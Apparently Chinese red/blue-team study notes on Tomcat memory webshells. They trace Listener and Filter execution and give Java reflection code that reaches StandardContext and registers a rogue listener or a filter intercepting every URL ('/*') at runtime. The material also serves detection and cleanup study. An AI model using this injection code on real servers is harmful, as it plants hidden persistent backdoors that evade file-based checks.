JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器
#知识预备:
1、三大类:Listen,Filter,Servlet
2、内存马技术解读(类型,植入,查杀等)
3、其他技术原理分类(见上图见打包资源)
(红队方向)了解什么是内存马,它有那些类型,和常规Shell差异
(红队方向)了解各种语言框架内存马,技术实现原理,尝试手搓开发
(蓝队方向)了解蓝队应急对内存马的植入定位,排查定性,查杀清除
#Listen监听器实现:
-web.xml定义class
-编写class下方法requestInitialized requestDestroyed
思考下Listen运行流程:
Servlet获取访问URL,直接进入初始化方法
Servlet访问URL完毕,直接进入销毁化方法
结论:使用Servlet监听器,只要访问即触发
requestInitialized断点调试:
->ApplicationContext#context
->StandardContext#context(applicationListeners)
结论:
ApplicationContext->context->StandardContext->context
#Listen内存马实现:
参考资料:
https://xz.aliyun.com/t/10358
https://cloud.tencent.com/developer/article/1942496
-相当于添加一个Listen
1、Servlet获取用户访问
2、反射StandardContext
4、向对象中成员添加配置信息
反射调用获取ApplicationContext字段context:
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
反射调用获取StandardContext字段context:
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
添加配置的对象信息到监听器:
XiaodiListen xiaodiListen = new XiaodiListen();
standardContext.addApplicationEventListener(xiaodiListen);
#Filter过滤器实现:
-web.xml定义name和class
-web.xml定义name和url路由
-编写class下init,doFilter,destroy方法
思考下Filter运行流程:
Servlet获取访问URL,从URL中判断是否过滤,
如触发过滤分析Filter名称,路由,触发Class,
则会相应的去执行init,doFilter,destroy方法。
结论:触发路由后执行doFilter,不触发路由也会执行init
1、doFilter断点分析:访问触发
->ApplicationFilterConfig#filterConfigs(name,filterclass)
->servlet#context->filterConfigs(name,filterclass)
结论:
Servlet->context->ApplicationFilterConfig->context
2、init断点分析:访问不触发
->ApplicationFilterConfig#context->filterDefs、filterMaps
->StandardContext#filterConfigs(filterDefs、filterMaps)
结论:
ApplicationFilterConfig用来存储Filter配置信息
StandardContext用来处理Filter配置信息(有无操作)
Servlet->context->ApplicationFilterConfig->context->StandardContext->filterConfigs
#Filter内存马实现:
参考资料:
https://zhuanlan.zhihu.com/p/634697114
https://cloud.tencent.com/developer/article/2277486
-相当于添加一个Filter
1、Servlet获取用户访问
2、判断触发(是否为null)
3、如未触发则添加Filter
4、向对象中成员添加配置信息
注:如触发则直接进入init,doFilter,destroy方法
疑问为什么Filter不为空了还能执行?后续的也不是访问这个jsp文件了。
调用Servlet中getServletContext方法获取context:
ServletContext servletContext = request.getServletContext();
反射调用获取ApplicationContext字段context:
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
反射调用获取StandardContext字段context:
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
反射调用获取StandardContext字段filterConfigs:
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
创建FilterDef对象,写入filter/fitlerName/filterClass信息
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建FilterMap对象,添加url映射,下面是直接拦截所有资源/*
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
调用addFilterMapBefore方法将所有东西都放入filterConfig中去
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
将名称和规则写入存储到filterConfigs
filterConfigs.put(name,filterConfig);